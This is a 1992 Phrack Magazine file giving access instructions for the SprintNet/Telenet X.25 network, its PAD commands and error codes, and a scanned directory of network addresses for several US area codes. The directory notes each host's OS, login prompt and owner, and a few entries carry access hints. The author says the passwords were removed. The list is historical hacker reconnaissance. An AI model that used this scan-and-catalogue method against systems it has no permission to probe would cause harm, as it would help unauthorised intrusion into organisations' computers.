                                  (SEE LCN + 0 , BITS 0-3 TO GET XCB NUMBER)
           LCN + 2               TIMER FOR LCN.
                             ==Phrack Magazine==

                  Volume Four, Issue Forty-Two, File 8 of 14

                        The SprintNet/Telenet Directory

                                      ===
                                    =======
                                  ===========
                                ===============
                           ---------------------===========
                        ------------------=============
                     ---------------=================
                  ------------===================
                                ===============
                                  ===========
                                    =======
                                      ===



Scanned and written by Skylar
Release date:  12/92

Part I   Basic SprintNet Info
Part II  SprintNet Directory




How to Access SprintNet:
~~~~~~~~~~~~~~~~~~~~~~~~
(Compliments of Sprint)


                         SPRINTNET LOCAL ACCESS NUMBERS

     FOR THE MOST UP-TO-DATE LISTING OF THE U.S. ACCESS TELEPHONE NUMBERS
     FOR PC OUTDIAL SERVICES, DO THE FOLLOWING:

     1.  USE A MODEM TO DIAL 1-800-546-1000 WITH PARAMETERS SET AT 7-E-1

     2.  TYPE THREE CARRIAGE RETURNS (CR) (CR) (CR)

     3.  INPUT YOUR AREA CODE AND LOCAL EXCHANGE

     4.  YOU WILL THEN RECEIVE THE PROMPT  SIGN "@"

     5.  THEN, TYPE:
                    MAIL (CR)
                    USER NAME: PHONES (CR)
                    PASSWORD: PHONES  (CR)

Follow the menus to get your local dialup, then logon through that using the
same procedure until you get to the "@" prompt.  From here, you can type in
commands.  Below is a list of commands available from the "@" prompt.

Notes:  while connected, you can escape to the command prompt by sending
        <cr>@<cr>
        while waiting for a connection, you can escape to the command prompt by
        sending a hard BREAK

Command <parameter>  Explanation

BYE                  Closes session (same as disconnect)
CONNECT <nua>        Connects to a network user address
CONTINUE             Continue session (used after breaking)
DISCONNECT           Closes session (same as bye)
DTAPE                Builds optimum circuit for bulk file transfer
DISABLE ECHO
DISABLE FLOW         Pad to host flow control
DISABLE TFLOW        Terminal to pad flow control
ENABLE ECHO
ENABLE FLOW
ENABLE TFLOW
FULL                 Set full duplex
HALF                 Set half duplex
HANGUP               Self explanitory
ID <nui>             Sets the network user id for charged calls
RESET                Resets your port (as if you just dialed up)
RST                  Show remote parameters
RST?                 Set remote parameters
PAR?                 Show ITI parameters
STATUS               Shows your current network address and port
SET? <param>:<value> Set ITI parameters.
TERM <termtype>      Set your termtype
TEST CHAR            Test of all ascii characters
TEST ECHO            Echos what you type
TEST TRIANGLE
TEST VERSION         Shows current pad software ver

Note:  I didn't include any of the parameters for SET? or termtypes because
       they would have increased the length of this file by about 20%.  If you
       want these, you can get them from the PC-PURSUIT BBS file section via
       C PURSUIT from SprintNet or 031109090063100 international.



Network Messages:
~~~~~~~~~~~~~~~~~
While attempting to CONNECT to addresses on SprintNet, you may run into various
messages from the network.  This should help you determine what they mean.


If you are connected and break your connection or are disconnected by the
remote host, you will recieve a disconnect message.  Below is a breakdown of
the message.

DISCONNECTED 00 00 00:00:00:00 000 00
             ^  ^  ^_________^  ^  ^
             |  |       |       |  |
             |  |       |       |  +-- Packets sent
             |  |       |       +----- Packets recieved
             |  |       +------------- Days:Hours:Minutes:Seconds connected
             |  +--------------------- Clearing diagnostic code
             +------------------------ Clearing cause code


If you are unable to make a connection or abort an attempted connection, you
will only receive cause and diagnostic codes (as no time was spent connected
and obviously no packets were sent!) along with a very general plain-text of
what the problem might be (i.e. rejecting, not operating...).  Below is a list
of cause and diagnostic codes to give you a more detailed idea of why you were
unable to connect or why you were disconnected.


  Clear cause codes:

 0   "DTE originated clear"
 1   "Number busy"
 3   "Invalid facility requested"
 5   "Network congestion"
 9   "Out of Order"
 11  "Access barred"
 13  "Not obtainable"
 17  "Remote Procedure Error"
 19  "Local Procedure error"
 21  "RPOA out of order"
 25  "Reverse Charge not Subscribed to"
 33  "Incompatible destination"
 41  "Fast Select acceptance not subscribed"
 49  "Ship absent"
 128 "DTE originated clear with top bit set"
 193 "Gateway procedural error"
 195 "Gateway congestion"
 199 "Gateway Operational"


 Clear diagnostic codes

 0   "No additional Information"
 1   "Invalid Ps"
 2   "Invalid Pr"
 16  "Packet Type Invalid"
 17  "Packet Type Invalid in state r1"
 18  "Packet Type Invalid in state r2"
 19  "Packet Type Invalid in state r3"
 20  "Packet Type Invalid in state p1"
 21  "Packet Type Invalid in state p2"
 22  "Packet Type Invalid in state p3"
 23  "Packet Type Invalid in state p4"
 24  "Packet Type Invalid in state p5"
 25  "Packet Type Invalid in state p6"
 26  "Packet Type Invalid in state p7"
 27  "Packet Type Invalid in state d1"
 28  "Packet Type Invalid in state d2"
 29  "Packet Type Invalid in state d3"
 32  "Packet not allowed"
 33  "Packet Type Unidentifiable"
 34  "Call on One way LC"
 35  "Invalid PVC packet type"
 36  "Packet on Unassigned logical channel"
 37  "Reject not Subscribed to"
 38  "Packet too short"
 39  "Packet too long"
 40  "Invalid GFI"
 41  "Restart/Registration Packet has LC"
 42  "Packet type not compatible with Facility"
 43  "Unauthorised Interrupt Confirmation"
 44  "Unauthorised Interrupt"
 45  "Unauthorised Reject"
 48  "Timer expired"
 49  "Timer expired for Incoming call"
 50  "Timer expired for clear Indication"
 51  "Timer expired for reset indication"
 52  "Timer expired for restart indication"
 53  "Timer expired for call forwarding"
 64  "Call set up/clear/registration problem"
 65  "Facility/registration code not allowed"
 66  "Facility parameter not allowed"
 67  "Invalid Called Address"
 68  "Invalid calling address"
 69  "Invalid facility registration length"
 70  "Incoming call barred"
 71  "No logical channel available"
 72  "Call Collision"
 73  "Duplicate facility ested"
 74  "Non zero address length"
 75  "Non zero facility length"
 76  "Facility not provided when expected"
 77  "Invalid CCITT spec'd facility"
 78  "Maximum call redirections/forwardings exceeded"
 80  "Miscellaneous"
 81  "Improper cause code from DTE"
 82  "Non alligned octet"
 83  "Inconsistent Q bit setting"
 84  "NUI Related problem"
 96  "International setup/clearing problem"
 97  "Unknown calling DNIC "
 98  "TNIC mismatch "
 99  "Call identifier mismatch"
 100 "Neg' error in utility parm' value"
 101 "Invalid utility length "
 102 "Non-zero utility length "
 103 "M bit violation "
 112 "International problem "
 113 "Remote Network problem "
 114 "International Protocol problem "
 115 "International Link out of order "
 116 "International Link busy"
 117 "Transit Network Facility Problem"
 118 "Remote Network Facility Problem"
 119 "International routing problem"
 120 "Temporary routing problem"
 121 "Unknown called DNIC"
 122 "MAintenance action"
 128 "Network Specific Diagnostic"
 218 "trax_trap error for user call"
 219 "user task error"
 220 "x25 task error"


Note:  If you're getting LOCAL/REMOTE PROCEDURE ERROR or REJECTING, try using
       different ports with the same address.


Other Than SprintNet:
~~~~~~~~~~~~~~~~~~~~~
International or other than SprintNet users, follow the table below to expand
these addresses to suit your network:

      202  224      <--- Address from list

 031102020022400    <--- Translated to international format


03110 202 00224 00  <--- Explanation of international format
^^^^^ ^^^ ^^^^^ ^^
  |    |    |    |
  |    |    |    |____ Port Number
  |    |    |_________ Network Address
  |    |______________ Network Prefix
  |___________________ DNIC



 DNIC  : This will be be 03110 for all translations.  On some networks, you
         won't need the leading 0 and can use 3110, and a few networks
         (DataPac?) use a 1 instead of 0, thus:  13110.


Prefix : Throughout this file, it will always be a three digit prefix.


Address: You may have to experiment a little to get the correct place holders,
         but as a general rule they will translate like this:

             1  = 00001
            11  = 00011
           111  = 00111
          1111  = 01111
         11111  = 11111


Ports  : Port numbers range from .1 to .99.  The first 27 ports may be
         alternately displayed as A-Z.  Ports are generally not listed as most
         addresses will find a free port for you if you leave it off, but in
         some cases you must use it, so they translate like this:

         .1 or A = 01
         .2 or B = 02
         and so on...



Examples of translated addresses:

      201 1.5  = 031102010000105
      415 9    = 031104150000900
      223 25   = 031102230002500
      714 218  = 031107140021800
      617 2027 = 031106170202700


If this seems a bit essoteric or confusing, don't worry.  A little bit of
experimenting will get you on the right track.


Notes:
~~~~~~
- You can usually omit leading and trailing 0's
- Most networks and PADs do NOT allow any spaces
- From SprintNet, you can use either form of address



Conventions in this list:
~~~~~~~~~~~~~~~~~~~~~~~~~
Addresses followed by a "$" do not accept collect connections (if you're not
coming on from SprintNet, ignore the $).

Addresses followed by a "*" do not accept collect connections, and I was unable
to connect to them to determine what they are.

When both the OS and the RESPONSE fields are left blank, this means that I
connected and either couldn't evoke response or got a garbage response.

LOGIN/PW's removed from this release.



                              SprintNet Directory
                              ~~~~~~~~~~~~~~~~~~~

201 - New Jersey  Scanned:[0-2000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
201 1    $             outdial (201)
201 22   $             outdial (201)
201 25     Unix        HP-UX ciathp A.B7.00 U 9000/835
201 30
201 32                 D&B Terminal
201 34   $ Prime
201 36   *             (incoming call barred)
201 37   $
201 40   $             Welcome to our PSI via X.29
201 42   *
201 43   $
201 44   $
201 45     Prime       NewsNet
201 46   $
201 48   $ VAX/VMS     Welcome to MicroVMS V5.3
201 49   $ VAX/VMS
201 53                 WELCOME TO COLGATE'S IICS
201 57   *             (incoming call barred)
201 58   *             (incoming call barred)
201 59   *             (incoming call barred)
201 66   $ Prime
201 67                 warner computer systems
201 68                 warner computer systems
201 69                 warner computer systems
201 83                 ENTER ID:
201 84                 D&B Terminal
201 86                 D&B Terminal
201 88                 D&B Terminal
201 89                 Prudential
201 107  $             outdial (201)
201 108  $             outdial (201)
201 138    HP-3000     EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON.
201 140  $             Enter One Time Password:
201 156    Unix        Securities Data Company (SDC7)
201 163                VU/TEXT * PLEASE SIGN ON:
201 164                VU/TEXT * PLEASE SIGN ON:
201 167    DTC         DTC01.HP.COM
201 170                Prudential
201 173                MHP201A UPK19130 APPLICATION:
201 174    CRYPTO      ENTER "IDX" OR "ID" AND USER ID -->
201 179                APPLICATION:
201 200                D&B Terminal
201 201                D&B Terminal
201 235  *
201 241  $             (immediate hangup)
201 242                D&B Terminal
201 243                D&B Terminal
201 244                D&B Terminal
201 246                D&B Terminal
201 247    VTAM        Shearson Lehman Brothers NPSI
201 252    Prime       PRIMENET 21.0.6 BOR
201 254  $ Unix        field login:
201 257                Please press <Return> . . .(
201 259                Please press <Return> . . .(
201 271  $             User Access Verification   Password:
201 301  $             outdial
201 334  $ HP-3000     :
201 335  *
201 336  $             Concurrent Computer Corporation's DATALINK
201 337  $             out of order
201 339  $ ???         (echo)
201 340  *
201 341  *
201 342  $ Unix        ocpt
201 343  $             Enviornmental Control Monitor (PENNET)
201 344  *
201 348  *
201 350  $             $$ 4200 MODEL: $$ 50 DEVICE TYPE IDENTIFIER :
201 355  $             Concurrent Computer Corporation's DATALINK
201 430  *             (incoming call barred)
201 465    VAX/VMS     V5.5      on VBH301
201 471                Prudential
201 472                APPLICATION:
201 474                Prudential
201 475                Prudential
201 477    VM/CMS?     ENTER AS SHOWN: L/LOGON/TSO/INFO/CICS
201 479    VM/CMS
201 730  *
201 770  *
201 830  $             INSCI/90 SYSTEM MV-10/13, LOGON PLEASE
201 870  $             INSCI/90 SYSTEM MV-10/13, LOGON PLEASE
201 890  $             INSCI/90 SYSTEM MV-10/13, LOGON PLEASE
201 895  $             INSCI/90 SYSTEM MV-10/10, LOGON PLEASE
201 899  $             (hangs up)
201 910  $             (echo)
201 912  $             (echo)
201 914  $             (echo)
201 916  $             (echo)
201 950                Bankers Trust Online
201 999  $             (hangs up)
201 1030               USER ID
201 1050               VU/TEXT
201 1051               VU/TEXT
201 1052               VU/TEXT
201 1053               VU/TEXT
201 1054               VU/TEXT
201 1055               VU/TEXT
201 1056               VU/TEXT
201 1057               VU/TEXT
201 1059               VU/TEXT
201 1060               VU/TEXT
201 1061               VU/TEXT
201 1062               VU/TEXT
201 1063               VU/TEXT
201 1064               VU/TEXT
201 1065               VU/TEXT
201 1066               VU/TEXT
201 1067               VU/TEXT
201 1068               VU/TEXT
201 1069               VU/TEXT
201 1070               VU/TEXT
201 1071               VU/TEXT
201 1072               VU/TEXT
201 1073               VU/TEXT
201 1074               VU/TEXT
201 1075               VU/TEXT
201 1076               VU/TEXT
201 1077               VU/TEXT
201 1078               VU/TEXT
201 1079               VU/TEXT
201 1135 $             ACCESS BARRED
201 1137 $             Finlay Fine Jewelry Corp.
201 1139               CONNECTED TO PACKET/400
201 1143 $             MHP201A UPK19040  APPLICATION:
201 1156 *
201 1160               Shaw Data Services
201 1163 *             (incoming call barred)
201 1164 *             (incoming call barred)
201 1168               CONNECTED TO PACKET/400
201 1170.1 $           Johnson and Johnson Network
201 1171 *
201 1172 $ Unix/SCO    TCSS
201 1173 *
201 1174 *
201 1176               NSP READY
201 1177               NSP READY
201 1232   VAX/VMS     Username:
201 1233   VAX/VMS     Username:
201 1243   VAX/VMS     Friden Neopost  (NJCRAN Node)
201 1251   VM/CMS      GSERV
201 1258   VM/CMS      GSERV
201 1259   VM/CMS      GSERV
201 1263 *             (incoming call barred)
201 1264 *             (incoming call barred)
201 1265 *
201 1266 *
201 1267 *
201 1268 *
201 1270
201 1272
201 1275   VAX/VMS     Shaw Data Services
201 1277
201 1330 *
201 1331 *
201 1332 *
201 1333 $             (echo)
201 1335 $             Environment Control Monitor
201 1340 *
201 1341 *
201 1342 *
201 1343               Prudential
201 1344               Prudential
201 1345               Prudential
201 1346               Prudential
201 1347               Prudential
201 1354 *
201 1359 $             Finlay Fine Jewelry Corp.
201 1370.1 $ HP-3000   CORPHP.CIS.HCC
201 1371 *
201 1372 *
201 1373 *
201 1374 *
201 1375 *
201 1376 *
201 1377 *
201 1378 *
201 1379 $
201 1430 *             (incoming call barred)
201 1431 *             (incoming call barred)
201 1432 *             (incoming call barred)
201 1433 *             (incoming call barred)
201 1434 *             (incoming call barred)
201 1435 *             (incoming call barred)
201 1442 *
201 1443 *
201 1446 *
201 1454 *
201 1455 *
201 1456 *
201 1460
201 1510
201 2030               Lynx Technologies Inc.
201 2031   VTAM        Shearson Lehman Brothers NPSI
201 11234  VAX/VMS



202  -  Washington D.C.  Scanned: [0 - 3000] & various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
202 1      Prime
202 2      Prime
202 10     Prime
202 12     Prime
202 31                 NewsMachine 5.1
202 36   $             NETWORK SIGN-ON FAILED
202 38   $             NETWORK SIGN-ON FAILED
202 42   *
202 48   $             U.S.I.A. Computer Center.
202 49                 enter system id --
202 115  $             outdial (202)
202 116  $             outdial (202)
202 117  $             outdial (202)
202 123  $             xxxx
202 138  $ VAX/VMS     Gaullaudet University
202 141 >909 761       User name?
202 142 >909 406       User name?
202 149  $
202 150                UPI>
202 152  *
202 201                CompuServe  User ID: phones
202 202                CompuServe
202 203                CompuServe
202 224  $             outdial (global)
202 235  $ Prime
202 239  $ Prime
202 241  *
202 243  *
202 245    AOS         Username:
202 253  *
202 255                Morgan Stanley Network
202 260  $             PLEASE SELECT: TSOMVS, ANOTHER APPLICATION
202 265  $             USER ID
202 266  $             USER ID
202 275  *
202 276  *
202 277  *
202 278  $             USER ID
202 330  *
202 331  *
202 332  *
202 333  *
202 334  *
202 335  *
202 336    VAX/VMS     Congressional Quarterly Online Systems
202 337    VAX/VMS     Congressional Quarterly Online Systems
202 353  *
202 356    PRIME       PRIMENET 22.1.1.R36 SYSA
202 361  *
202 362  *
202 363  *
202 364  *
202 365                Lexis and Nexis
202 366                Lexis and Nexis
202 367                Lexis and Nexis
202 371  *
202 372  *
202 373  *
202 377  *
202 390  $             #CONNECT REQUESTED TO HOST GSAHOST : CANDE
202 391  $             #CONNECT REQUESTED TO HOST GSAHOST : CANDE
202 403  $             outdial (202)
202 433  *
202 453                USER ID
202 454    VAX/VMS     Connect to GBS
202 455  *
202 456  *
202 458  *
202 459  *
202 465  *
202 466  *
202 467  *
202 468  *
202 469  *
202 472  *
202 477                UPI>
202 478                UPI>
202 479                UPI>
202 550                UPI>
202 616  *
202 617  *
202 1030 *
202 1031 *
202 1032 *
202 1033 *
202 1034 *
202 1155 *
202 1156 *
202 1157 *
202 1158 *
202 1159 *
202 1261 *
202 1262 *
202 1263 *
202 1264 *
202 1265 *
202 1266 *
202 1267 *
202 1268 *
202 1269 *
202 1270 *
202 1323 $
202 1325   VAX/VMS
202 1363               Enter your User Name:
202 1364.1 Unix        System name: fmis
202 1365.3 Unix/SysV   X.29 Terminal Service (person)
202 1385   Prime       PRIMENET 22.1.3 CGYARD
202 1407   Unix/SysV   X.29 Terminal Service (person)
202 1440   VAX/VMS     Username:
202 3011 *
202 3012 *
202 3030A              ASYNC TO 3270 -> FIRST AMERICAN BANK OF GEORGIA
202 3036 $ GS/1        GS/X.25 Gateway Server
202 3060 *
202 3067 $ Major BBS   Power Exchange (adult bbs and chat)  Member-ID? new
202 3069 $             E06A26B3
202 3070 $
202 3071 $
202 3072 $
202 3074 $ VAX/VMS     Welcome to VAX/VMS V5.5-1
202 3075 *
202 3130               GTE Contel DUAT System       (login as visitor)
202 3131               GTE Contel DUAT System       (airplane info galore)
202 3134               USER ID
202 3135               USER ID
202 3138 *
202 3139 *
202 3140 *
202 3142 *
202 3145               &StArT&
202 3242   VOS         Please login  (try 'help')
202 3243   VOS         Please login
202 3244   Unix        tmn!login:
202 3246 *
202 3247 *
202 3254   VOS         Please login
202 3255   VOS         Please login
202 3256   VOS         Please login
202 3257               (locks up)
202 3258   VOS         Please login
202 3259   VOS         Please login
202 3260   VOS         Please login
202 3261   VOS         Please login
202 3262   VOS         Please login
202 3263   VOS         Please login
202 3264 $             AMS SYSTEM=
202 3269
202 3330 *
202 3332 *
202 3333 *
202 3335 $             NETX A000VD00 READY FOR LOGON
202 3336 $             NETX A000VD00 READY FOR LOGON
202 3337 *
202 3338 *
202 3600 *
202 3601 *
202 3602 *
202 3603 *
202 3604 *
202 3605 *
202 3606 *
202 3611 *
202 3612 *
202 3613 *
202 3614 *
202 3630 *
202 4220
202 4222
202 4226               MSG10-RJRT TERMINAL-ID:GSSCXA63 IS NOW IN SESSION
202 60031  VAX/VMS     V5.4-2
202 60033  Unix/SunOS  Welcome to QHDS!
202 60035 *
202 60036              NETX A0A0VD00 READY FOR LOGON
202 60039  Unix/SunOS  (QHDS.MXBC)
202 60040              Lexis and Nexis
202 60043 *
202 60056
202 60058 *
202 60059 *
202 60060 *
202 60064 *
202 60068              PIN:
202 60069              PIN:
202 60070              PIN:
202 60071              PIN:
202 60073 *




203  -  Connecticut  Scanned: [0 - 500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
203 22     VM/CMS
203 28     VM/CMS
203 50                  CONNECTED TO PACKET/74
203 60   $              GEN*NET Private Switched Data Network
203 61   *
203 62     VAX/VMS ACM  Enter SecurID PASSCODE:
203 66                  Login Please :
203 67                  Login Please :
203 77   *
203 78   $ Novell       Netware Access Server (DDS)
203 79   *
203 105  $              outdial (203)
203 120  $              outdial (203)
203 121  $              outdial (203)
203 136    PRIME        PRIMENET 20.2.7 SYSA
203 159  $              access barred
203 160  *
203 161  $ Novell       Netware Access Server (INFOSYS)
203 165                 Panoramic, Inc. PLEASE LOGON: help
203 242                 Login Please :
203 274  $ ACF/VTAM
203 277  *              (incoming call barred)
203 310
203 317
203 346  *
203 347                 SB >
203 350  *
203 362  *              (incoming call barred)
203 367                 CONNECTED TO PACKET/74
203 434  $              (hangs up)
203 435  $ ACF/VTAM
203 438  $              (echo)
203 442  $              (echo)
203 452  *
203 455
203 458  *              (incoming call barred)
203 463  *
203 465  *




205  -  Alabama  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
205 237  *
205 245  *
205 246  *




206  -  Washington  Scanned: [0 - 500]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
206 40   $ Prime       PRIMENET 23.2.0.r26 P6450
206 60   *
206 65     PRIME       PRIMENET 22.1.4 OAD
206 66
206 67   $
206 138  $             MHP201A UPK0BY60  * VERSION 5.5.4 *.
206 139  $             Wang VS Logon
206 154  $ DTC         THE SEATTLE DTC (DTC01.MACON.USOPM)
206 158    VAX/VMS     Username:
206 167  *             (incoming call barred)
206 170  $ hp-3000
206 173  $             Renex Connect, SN-00100201
206 205  $             outdial (206)
206 206  $             outdial (206)
206 208  $             outdial (206)
206 239.1$             + Log on please
206 240.1$             ***investigate***
206 250  $             logins to this workstation temp. barred
206 251  $ Wang        SYSTEM TWO (TACOMA:TACOMA)
206 351  *
206 352  *
206 357  $ HP-3000
206 360                CUSTOMER ID:
206 368  *
206 369  *
206 371  $
206 375    Prime       PRIMENET 23.2.0.r26 DZ-BLV
206 430  $             911 Monitor HATSLNCT is currently not available
206 470    VAX/VMS
206 479  $             + Log on please




207  -  Maine  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
207 40   *
207 260    ???         Please login:




208  -  Idaho  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
208 236  *
208 250  $             USER ID
208 252                Welcome to the NET, X.29 Password:




209  -  California  Scanned: 0 - 300

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
209 241  *
209 243  *
209 245  *
209 246  *
209 270  $ VAX/VMS     Continental PET Technologies, MODESTO
209 273    DACS III    ***investigate***




211  -  Dun & Broadstreet  Scanned: various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
211 1140               D&B terminal
211 1142               D&B terminal
211 1145   VAX/VMS     on VBH302
211 1240               Please enter your terminal id; '?' for MENU
211 1242               D&B terminal
211 1244               Please enter your terminal id; '?' for MENU
211 1245   ???         GNETMAIL
211 2150   Prime
211 2240               DunsNet's User Verification Service
211 2247               DUNSCENTER  (connects to many machines)
211 2249               ID?>
211 2255               ID?>
211 2450   Prime
211 2451   Prime
211 3290   CMS?        IDC/370 Ready-
211 3291   CMS?        IDC/370 Ready-
211 3292   CMS?        IDC/370 Ready-
211 3390   CMS?        IDC/370 Ready-
211 3391   CMS?        IDC/370 Ready-
211 3392   CMS?        IDC/370 Ready-
211 3490   CMS?        IDC/370 Ready-
211 4190               DunsNet's User Verification Service
211 4240               Enter service code -
211 4241               Enter service code -
211 5140   DTC         Nielsen Household Services (DTC03.NY.NPD)
211 5240   VAX/VMS     GUMBY...
211 5290   DTC         Nielsen Household Services (DTC02.NY.NPD)
211 6140               PLEASE ENTER SUBSCRIBERID;PASSWORD
211 6141               A. C. Nielsen Information Center.
211 6142               A. C. Nielsen Information Center.
211 6145
211 6190               PLEASE ENTER SUBSCRIBERID;PASSWORD
211 6240               A. C. Nielsen Information Center.
211 6250   ???         USERNAME?
211 6290               PLEASE ENTER SUBSCRIBERID;PASSWORD
211 8140               DIALOG INFORMATION SERVICES
211 8142   VAX/VMS     Username:
211 11140  VM/CMS      VM/370 ONLINE--
211 11142  VM/CMS      VM/370 ONLINE--
211 11144  VAX/VMS     Username:
211 13190              D&B terminal (in spanish)
211 13191              D&B terminal
211 14110              Renex Connect, Enter password -
211 15140              NEODATA SERVICES NETWORK




212  -  New York  Scanned: [0 - 3000] & various

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
212 30                 ENTER ID:
212 31   $ VM/CMS
212 34   *
212 40                 PLEASE ENTER /LOGIN
212 41                 MHP201A UPK05173  APPLICATION:
212 48   *
212 52   $ Prime
212 53     VAX/VMS
212 73   $ Prime
212 79                 ENTER ID:
212 100    VAX/VMS     Username:
212 101    VAX/VMS     Username:
212 102                **** Invalid sign-on, please try again ****
212 103    VAX/VMS     Username:
212 104                **** Invalid sign-on, please try again ****
212 105                **** Invalid sign-on, please try again ****
212 106                **** Invalid sign-on, please try again ****
212 108                **** Invalid sign-on, please try again ****
212 109                **** Invalid sign-on, please try again ****
212 110                **** Invalid sign-on, please try again ****
212 112                Shearson Lehman Brothers
212 124  $ VAX/VMS     Username:
212 130                you are now connected to the host computer
212 131                Shearson Lehman Brothers
212 137    Prime       PRIMENET 22.1.1.R17.STS.6 NY60
212 145                ENTER ACCESS ID:
212 146                ENTER ACCESS ID:
212 152    VAX/VMS     Username:
212 170  $             TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK
212 172  $             TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK
212 174  $             TWX2V LOGGED INTO AN INFORMATION SERVICES NETWORK
212 197                BANKERS TRUST
212 202    VAX/VMS     Username:
212 226                USER ID   ?
212 231  $ VM/CMS
212 242                ENTER IDENTIFICATION:
212 255    VAX/VMS     (PB2 - PBS Development System)
212 259    VAX/VMS     (NYTASD - TAS SYSTEM)
212 260                Bankers Trust Online
212 274  $             INVALID INPUT
212 275                Bankers Trust Online
212 276  *
212 277                ****POSSIBLE DATA LOSS 00 00****
212 278                Bankers Trust Online
212 279                User:          (RSTS V9.3-20)
212 285                Invalid login attempt
212 306  *
212 315  $             outdial (212)
212 320                ENTER IDENTIFICATION:
212 321                ENTER IDENTIFICATION:
212 322  $             COMMAND UNRECOGNIZED
212 336  *
212 344  *
212 345    Prime       PRIMENET 23.2.0.R32 NMSG
212 352  *
212 359                (drops connection right away)
212 376 -> 201 950     Bankers Trust Online
212 430 -> 312 59      Id Please:     User Id:     Password:
212 432  *
212 437  *
212 438  *
212 440  *
212 444    Prime       PRIMENET 21.0.7.R31 EMCO
212 446  $ VAX/VMS
212 449  $ VM/CMS
212 500                enter a for astra
212 501                enter a for astra
212 502                enter a for astra
212 503                enter a for astra
212 504                enter a for astra
212 505                enter a for astra
212 509  $             Transamerican Leasing (White Plains Data Center)
212 539                (drops connections right away)
212 546  $             APLICACAO:
212 549  $             BT-Tymnet Gateway
212 561    VAX/VMS     Username:
212 571                You are not authorized to connect to this machine.
212 572  $             No access to this DTE.
212 580                enter a for astra
212 603                Shearson Lehman Brothers
212 615                Shearson Lehman Brothers
212 623                Shearson Lehman Brothers
212 693  $             USER ID
212 703    Unix
212 704    Unix
212 713    Prime       PRIMENET 22.1.1.R17.STS.6 NY60
212 726  $ VAX/VMS
212 731
212 970  *
212 971  *
212 972  *
212 973  *
212 974  *
212 975  *
212 976  *
212 977  *
212 978  *
212 979  *
212 1000 $             Enter ID:
212 1001 $             Enter ID:
212 1002 $             Enter ID:
212 1004 $             Enter ID:
212 1009 $             outdial (212)
212 1045 $ HP-3000     White & Case - HP 3000 Computer System
212 1046 *
212 1049               APPLICATION:
212 1050               NSP READY?
212 1052   Prime       PRIMENET 20.2.4.R11 FTC0
212 1053   VAX/VMS
212 1065 $ AOS         Track Data System 12
212 1069               #
212 1071 $ GS/1        CS/100T>
212 1072 $ GS/1        CS/100T>
212 1076               NSP READY
212 1233 *
212 1355 *
212 1356 *
212 1367               You are not authorized to connect to this machine.
212 1373               enter a for astra
212 1450               RadioSuisse Services.
212 1469
212 1477               n042ppp> enter system id
212 1478               n042ppp> enter system id
212 2050B  Unix        softdollar login:
212 2050D  Unix        softdollar login:
212 2060 $             T.S.S.G
212 2061 $             Boston Safe Deposit and Trust Company
212 2062 $             TWX40 LOGGED INTO AN INFORMATION SERVICES NETWORK
212 2071   VM/CMS      GSERV
212 2079   VM/CMS      GSERV
212 2130 $             (echo)
212 2131 $             (echo)
212 2134 $             (echo)
212 2135 $             (echo)
212 2230 $             (echo)
212 2231 $             (echo)
212 2234 $             (echo)
212 2235 $             (echo)
212 2245 $             Finlay Fine Jewelry Corp.
212 2250   VAX/VMS     Username:
212 2251               **** Invalid sign-on, please try again ****
212 2252               **** Invalid sign-on, please try again ****
212 2253               **** Invalid sign-on, please try again ****
212 2254               **** Invalid sign-on, please try again ****
212 2270               **** Invalid sign-on, please try again ****
212 2271               **** Invalid sign-on, please try again ****
212 2272               **** Invalid sign-on, please try again ****
212 2273               **** Invalid sign-on, please try again ****
212 2274               **** Invalid sign-on, please try again ****
212 60002              You are not authorized to connect to this machine.
212 60007              You are not authorized to connect to this machine.
212 60010              You are not authorized to connect to this machine.
212 60031  VM/CMS
212 60032              ENTER ID:
212 60033  Prime       CDA Online Services
212 60034              CHANNEL 03/009. ENTER RESOURCE
212 60037  VAX/VMS     MuniView
212 60044 *
212 60051 *
212 60055              USER ID




213  -  California  Scanned: [0 - 2000]

ADDRESS    OS/SYSTEM   PROMPT/RESPONSE/OWNER/ETC              LOGIN/PW
---------- ----------- -------------------------------------------------
213 21     Prime       PRIMENET 23.2.0.R32 C6
213 22     Prime       PRIMENET 23.2.0.R32 D6
213 23   $             outdial (213)
213 24                 Marketron Research and Sales System
213 25   $             outdial (213)
213 35                 Marketron Research and Sales System
213 41   $             (echo)
213 45   $             ENTER NETWORK SIGN-ON:
213 50   $             (echo)
213 52   $ Prime
213 53                 CONNECTED TO PACKET/74
213 55                 CONNECTED TO PACKET/74
213 56                 CONNECTED TO PACKET/74
213 60                 CONNECTED TO PACKET/74
213 61                 CONNECTED TO PACKET/74
213 68   *
213 70   *
213 102    Prime       PRIMENET 21.0.7.R10 TRWE.A
213 103  $             outdial (213)
213 105    Prime       PRIMENET 22.1.3.beta1 SWOP
213 121    Prime       PRIMENET 23.0.0 SWWE1
213 122    Unix        Computervision Los Angeles District Admin System
213 123    Prime       PRIMENET 23.3.0.r29 SWWA1
213 129    Prime       PRIMENET 22.0.3vA CALMA1
213 151    Prime       PRIMENET 22.1.3 CSSWR1
213 154    Prime       PRIMENET 22.1.1.R27 SWWCR
213 155    Prime       PRIMENET 22.1.3 CS.LA
213 199    Prime       PRIMENET 23.2.0.R32 C6
213 220A               TELENET ASYNC TO 3270 SERVICE
